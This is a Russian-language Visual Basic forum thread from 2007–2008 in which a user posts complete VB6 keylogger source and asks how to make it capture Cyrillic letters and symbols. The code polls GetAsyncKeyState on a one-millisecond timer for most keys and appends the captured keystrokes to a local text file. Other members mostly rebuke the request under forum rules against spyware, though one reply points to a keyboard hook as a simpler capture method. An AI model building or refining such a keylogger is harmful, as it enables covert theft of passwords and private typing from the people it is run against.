Клавиатурный шпион

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
DKbelRoma
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 282
Зарегистрирован: 13.09.2007 (Чт) 23:32
Откуда: Из Кривого Рога

Клавиатурный шпион

Сообщение DKbelRoma » 22.11.2007 (Чт) 11:53

Люди помогите!!! Начал писать простенького клавиатурного шпиона (кода нашол на другом форуме :D и решил попробывать) Вот код :
Код: Выделить всё

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H1

Private Sub Form_Load()

Form1.Visible = True
Text1.Text = "Контроль за системой активирован в: " + Time$ + " " + Date$ + "." + vbNewLine
Timer1.Interval = 1
Text1.MultiLine = True

End Sub

Private Sub Timer1_Timer()
   keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Tab]" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Влево]" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Вправо]" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Вверх]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Вниз]" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Insert]" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Delete]" + vbNewLine
     End If
        keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[End]" + vbNewLine
     End If
      keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Home]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F1]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F2]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F3]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F4]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F5]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F6]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F7]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F8]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F9]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F10]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F11]" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[F12]" + vbNewLine
     End If
     If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[NumLock]" + vbNewLine
     End If
     keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[ScrollLock]" + vbNewLine
         End If
    keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[PrintScreen]" + vbNewLine
         End If
       keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[PageUp]" + vbNewLine
         End If
       keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Pagedown]" + vbNewLine
         End If
         keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad1]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad2]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad3]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad4]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad5]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad6]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad7]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad8]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad9]"
         End If
         keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Numpad0]"
         End If
         keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Esc]" + vbNewLine
     End If
      keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[NumLock]" + vbNewLine
     End If
      keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Backspace]" + vbNewLine
     End If
       keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Pause]" + vbNewLine
     End If
       keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Shift]"
     End If
       keystate = Getasynckeystate(vbKeyQ)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "q"
     End If
       keystate = Getasynckeystate(vbKeyW)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "w"
     End If
       keystate = Getasynckeystate(vbKeyE)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "e"
     End If
       keystate = Getasynckeystate(vbKeyR)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "r"
     End If
       keystate = Getasynckeystate(vbKeyT)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "t"
     End If
       keystate = Getasynckeystate(vbKeyY)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "y"
     End If
       keystate = Getasynckeystate(vbKeyU)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "u"
     End If
       keystate = Getasynckeystate(vbKeyI)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "i"
     End If
       keystate = Getasynckeystate(vbKeyO)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "o"
     End If
       keystate = Getasynckeystate(vbKeyP)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "p"
     End If
       keystate = Getasynckeystate(vbKeyA)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "a"
     End If
       keystate = Getasynckeystate(vbKeyS)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "s"
     End If
       keystate = Getasynckeystate(vbKeyD)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "d"
     End If
       keystate = Getasynckeystate(vbKeyF)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "f"
     End If
       keystate = Getasynckeystate(vbKeyG)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "g"
     End If
       keystate = Getasynckeystate(vbKeyH)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "h"
     End If
       keystate = Getasynckeystate(vbKeyJ)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "j"
     End If
       keystate = Getasynckeystate(vbKeyK)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "k"
     End If
       keystate = Getasynckeystate(vbKeyL)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "l"
     End If
       keystate = Getasynckeystate(vbKeyZ)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "z"
     End If
       keystate = Getasynckeystate(vbKeyX)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "x"
     End If
       keystate = Getasynckeystate(vbKeyC)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "c"
     End If
       keystate = Getasynckeystate(vbKeyV)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "v"
     End If
       keystate = Getasynckeystate(vbKeyB)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "b"
     End If
       keystate = Getasynckeystate(vbKeyN)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "n"
     End If
       keystate = Getasynckeystate(vbKeyM)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "m"
     End If


H1 = FreeFile
If Text1.Text = "" Then
Form1.Caption = Form1.Caption
Else
Open App.Path & "\test.txt" For Append As #H1
Print #H1, Text1.Text
Close #H1
End If
Text1.Text = ""
End Sub


Как зделать отображение русских букв и таких символов как ><:;@# и т.д.

На форме стоит один Text1 и Timer1
Помогите кто знает! :roll:
«Не важно, откуда ты. Важно - где ты.»

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 22.11.2007 (Чт) 12:59

Ты, похоже, правила форума не читал?
Для чего тебе клавиатурный шпион?
Lasciate ogni speranza, voi ch'entrate.

Saturn.65
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 543
Зарегистрирован: 13.10.2006 (Пт) 18:46

Re: Клавиатурный шпион

Сообщение Saturn.65 » 22.11.2007 (Чт) 13:39

DKbelRoma писал(а):Люди помогите!!! Начал писать простенького клавиатурного шпиона

Давай что нибудь попроще сперва. К тому же на форуме шпионы, вирусы, трояны не одобряются. Так можешь разгневать администрацию форума.

Lumen
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 841
Зарегистрирован: 03.12.2005 (Сб) 16:09
Откуда: Брянск

Сообщение Lumen » 22.11.2007 (Чт) 14:27

Хм, какой-то хитрый способ оформления кода, по видимому попытка изобразить "лесенку". :D Такого раньше не встречал. И ещё очень понравился код (из серии индийских кодов :D )
Код: Выделить всё
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "[Влево]" + vbNewLine
     End If

Не проще было написать че-нить типа:
Код: Выделить всё
If Getasynckeystate(vbKeyLeft) then Text1 = Text1 + "[влево]" + vbCrlf

B вообще есть способы, которые позволяют обойтись без множественного выбора, а сразу дают код нажатой клавиши. Добавить её к текстбоксу можно используя ф-ю Chr(). Я говорю о хуке на клавиатуру. Ну или накрайняк в цикле реализовывай такую проверку, один черт символы подряд идут. По поводу твоего вопроса - если не знаешь константы, можно самому узнать значения в Text1_KeyPress или вообще заюзать Asc(). А вообще как правильно было сказано выше, кейлоггеры, трояны, вирусы и другой хак стафф здесь не приветствуются.
Подпись проходит рефакторинг

DKbelRoma
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 282
Зарегистрирован: 13.09.2007 (Чт) 23:32
Откуда: Из Кривого Рога

Сообщение DKbelRoma » 22.11.2007 (Чт) 18:08

Мда... Ничего непонял....
А насчёт того что трояны , шпионы и вирусы неодобряются я незнал!
Извеняюсь! :oops: Но всёже когдатто каждый из нас что-то типа такого писал... :wink: Пробывать всёравно нужно !!!
Ладно вопрос отпал... :roll:
«Не важно, откуда ты. Важно - где ты.»

DKbelRoma
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 282
Зарегистрирован: 13.09.2007 (Чт) 23:32
Откуда: Из Кривого Рога

Сообщение DKbelRoma » 22.11.2007 (Чт) 18:17

Lumen чем тебе код непонравился ???
Мда.... Нелюбите вы здесь меня :( Темы закрываете,неуважаете и т.д.
Только несколько человек меня понимают... Жаль...
Ладно Администратор Закрывай тему.... :cry:
«Не важно, откуда ты. Важно - где ты.»

burik
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 514
Зарегистрирован: 03.11.2005 (Чт) 22:04
Откуда: Беларусь, Рогачев

Сообщение burik » 22.11.2007 (Чт) 18:37

DKbelRoma, почитай на досуге http://bbs.vbstreets.ru/viewforum.php?f=14 :)
Между слухов, сказок, мифов,
просто лжи, легенд сомнений
мы враждуем жарче скифов
за несходство заблуждений
Игорь Губерман

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 22.11.2007 (Чт) 23:54

Мда.... Нелюбите вы здесь меня Темы закрываете,неуважаете и т.д.


А за что тебя любить и уважать? За тонны ошибок, которые ты допускаешь при написании сообщений?
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Proxy
Профессор VB наук
Профессор VB наук
Аватара пользователя
 
Сообщения: 2941
Зарегистрирован: 31.08.2007 (Пт) 4:41

Сообщение Proxy » 23.11.2007 (Пт) 8:15

В azb****b валялась готовая функция, аналог chr, но со всякими [left], [shift] etc. Можно не полениться и самому накрайняк сделать.
PS: клавиатурный шпион - для начала? Начни с Helloword :-)

DKbelRoma
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 282
Зарегистрирован: 13.09.2007 (Чт) 23:32
Откуда: Из Кривого Рога

Сообщение DKbelRoma » 23.11.2007 (Пт) 12:12

Мда... ладно,закрывайте тему! :cry:
«Не важно, откуда ты. Важно - где ты.»

burik
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 514
Зарегистрирован: 03.11.2005 (Чт) 22:04
Откуда: Беларусь, Рогачев

Сообщение burik » 23.11.2007 (Пт) 14:09

DKbelRoma учить VB, спрашивая все на форуме, не получится. Скачай какой-нибудь учебник для начала.
Между слухов, сказок, мифов,
просто лжи, легенд сомнений
мы враждуем жарче скифов
за несходство заблуждений
Игорь Губерман

DKbelRoma
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 282
Зарегистрирован: 13.09.2007 (Чт) 23:32
Откуда: Из Кривого Рога

Сообщение DKbelRoma » 24.11.2007 (Сб) 11:25

burik : учебник есть :cry: но в нём описаны что такое Label , Timer и т.д. Потом опуратор If и ещё парочку операторов!
Посоветуйте учебник немного посложнее чем у меня имеется! :roll:
з.ы. сегодне выезжаю из курорта, буду на форуме в воскресенье уже с домашнего компьютера!Ура!!! :lol:
«Не важно, откуда ты. Важно - где ты.»

ALX_2002
Мега гуру
Мега гуру
 
Сообщения: 2054
Зарегистрирован: 25.11.2002 (Пн) 20:03

Сообщение ALX_2002 » 24.11.2007 (Сб) 11:35

Учебник ? ИМХО, лучше всего по конкретной задаче ищи в GOOGLE, YANDEX, RAMBLER. Не найдёшь - стучись в аську :) Мож я чего нить соображу.

vpnacc
Начинающий
Начинающий
 
Сообщения: 13
Зарегистрирован: 27.01.2008 (Вс) 1:31

Сообщение vpnacc » 31.01.2008 (Чт) 5:07

alibek писал(а):Ты, похоже, правила форума не читал?
Для чего тебе клавиатурный шпион?


а если шпион нужен для хорошего дела, то можно? :roll:

Antonariy
Повелитель Internet Explorer
Повелитель Internet Explorer
Аватара пользователя
 
Сообщения: 4824
Зарегистрирован: 28.04.2005 (Чт) 14:33
Откуда: Мимо проходил

Сообщение Antonariy » 31.01.2008 (Чт) 8:32

Для хорошего дела шпионы не нужны.
Лучший способ понять что-то самому — объяснить это другому.

Nord777
Гуру
Гуру
Аватара пользователя
 
Сообщения: 1144
Зарегистрирован: 22.02.2004 (Вс) 13:15
Откуда: Подольск

Сообщение Nord777 » 31.01.2008 (Чт) 8:59

а если шпион нужен для хорошего дела, то можно?
Для хорошего дела шпионы не нужны.
vpnacc
Поэтому вместо "шпион" говори "перехватчик" :wink:
Microsoft Visual Studio 2008
Microsoft .NET Framework 3.5

Watts[]n!
Постоялец
Постоялец
 
Сообщения: 573
Зарегистрирован: 11.02.2007 (Вс) 0:19

Сообщение Watts[]n! » 31.01.2008 (Чт) 13:41

Nord777
[offtop]А вместо "Вирус" - "Диверсант" :) [offtop]

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 31.01.2008 (Чт) 14:14

А вместо флуда -- закрытие темы.
Судя по молчанию автора, ничего хорошого из использования клавиатурного шпиона он получить не хочет.
Lasciate ogni speranza, voi ch'entrate.


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: Google-бот, Yandex-бот и гости: 126

    TopList  
cron